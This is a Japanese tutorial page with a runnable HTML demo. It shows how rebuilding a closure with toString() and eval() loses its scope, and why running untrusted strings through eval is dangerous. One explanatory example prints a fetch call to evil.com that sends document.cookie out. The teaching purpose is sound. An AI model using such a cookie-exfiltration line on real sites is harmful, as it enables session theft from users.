ここでは、「関数を文字列化して eval で実行するのがなぜ危険なのか」 を、実際に動かして確かめられるように、
ブラウザでそのまま試せる 練習用サンプル(安全に体験できるデモ) を紹介します。
目的
toString()とeval()の組み合わせがどう危険なのかを体感する- 「クロージャのスコープが失われる」ことを実験する
- 「悪意ある文字列コードを eval で実行すると何が起きるか」を理解する
💻 実験HTMLサンプル(コピペOK)
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>クロージャと eval の危険性デモ</title>
<style>
body { font-family: "Segoe UI", sans-serif; line-height: 1.6; padding: 20px; }
pre { background: #f3f3f3; padding: 10px; border-radius: 8px; }
button { margin: 5px 0; padding: 8px 14px; border: none; border-radius: 6px; background: #0078d7; color: white; cursor: pointer; }
button:hover { background: #005fa3; }
</style>
</head>
<body>
<h2>🧩 クロージャと eval() の危険性デモ</h2>
<p>各ボタンをクリックして挙動を確認してみましょう。</p>
<button id="btn1">① クロージャ関数を toString() → eval() で再作成</button><br>
<button id="btn2">② 悪意ある文字列を eval() で実行してみる</button><br>
<button id="btn3">③ 安全な代替:Functionを文字列で作る(限定的)</button>
<pre id="log"></pre>
<script>
const log = (msg) => {
document.getElementById('log').textContent += msg + '\n';
};
document.getElementById('log').textContent = '';
// -----------------------------
// ① クロージャ関数を文字列化 → evalで再生成
// -----------------------------
function makeAdder(base) {
return function(num) {
return base + num;
};
}
document.getElementById('btn1').onclick = () => {
document.getElementById('log').textContent = '';
const add10 = makeAdder(10);
log('元の add10(5) = ' + add10(5)); // 15
// 関数を文字列に変換
const code = add10.toString();
log('\nadd10.toString() の中身:\n' + code);
// eval で新しい関数に
const newFunc = eval('(' + code + ')');
log('\n新しい関数を実行してみる:');
try {
log('newFunc(5) = ' + newFunc(5)); // 期待:15 → 実際:エラー
} catch (e) {
log('⚠️ エラー発生: ' + e.message);
}
log('\n理由: 外側の変数 "base" は文字列化されないため、再現できない!');
};
// -----------------------------
// ② eval の危険性:外部文字列が意図しない動作をする例
// -----------------------------
document.getElementById('btn2').onclick = () => {
document.getElementById('log').textContent = '';
log('「安全そうに見える入力」を eval に渡すとどうなるか?');
const userInput = "alert('💀 あなたのPC情報を送信中...');";
log('\n入力された文字列:\n' + userInput);
log('\nこれを eval() で実行すると...');
try {
eval(userInput); // 実際に実行(※alertは harmless)
} catch (e) {
log('⚠️ エラー: ' + e.message);
}
log('\n⚠️ 実際の攻撃では、ファイル削除やAPI送信なども可能になることがある!');
};
// -----------------------------
// ③ Function コンストラクタを使った「比較的安全な方法」
// -----------------------------
document.getElementById('btn3').onclick = () => {
document.getElementById('log').textContent = '';
log('Function コンストラクタで新しい関数を作る例');
const code = "return 'Hello ' + name;";
const greet = new Function('name', code);
log('new Function("name", "' + code + '");');
log('→ greet("Halu") = ' + greet("Halu"));
log('\n⚠️ それでも文字列評価なので、安全性は完全ではない!');
};
</script>
</body>
</html>
HTML🔍 実行結果の流れ
① クロージャを文字列化して再生成
makeAdder(10)は「base=10」を覚えている関数。- でも
toString()で文字列化→eval()で再作成すると、
外側のbaseが消えてしまい →ReferenceError: base is not defined
→ クロージャの中身(スコープ)は再現できない!
② eval の危険性
- 文字列を「コードとして実行」するので、
ユーザーが入力したテキストが悪意あるものだと大変危険。 - 例:
const userInput = "fetch('http://evil.com/steal?cookie=' + document.cookie)";
eval(userInput); // ←攻撃コードが実行される
JavaScript- ブラウザでは
alert程度ですが、サーバー側ではファイル削除・データ改ざんも可能です。
③ Function コンストラクタ
"return 'Hello ' + name;"のように中身を明示的に定義することで、
少し制御しやすいですが、やはり文字列評価なので油断禁物。- 安全な代替としては、動的評価を避ける・明示的な条件分岐を使う・ユーザー入力を直接実行しない、など。
まとめ(安全に学ぶポイント)
| 概念 | 内容 | 安全性 |
|---|---|---|
toString() | 関数の定義コードを文字列化する | 安全 ✅ |
eval() | 文字列をそのまま実行 | 危険 ⚠️ |
| クロージャ再現 | 外側の変数スコープは文字列化できない | 不可 ❌ |
| Function コンストラクタ | eval より制御可能だが基本同じリスク | 注意 ⚠️ |
🧠 理解のキーポイント:
「
toString()は“関数の形”をコピーできるが、“中身の状態”はコピーできない」
「eval()は“なんでも実行できる”が、“なんでも実行されてしまう”」

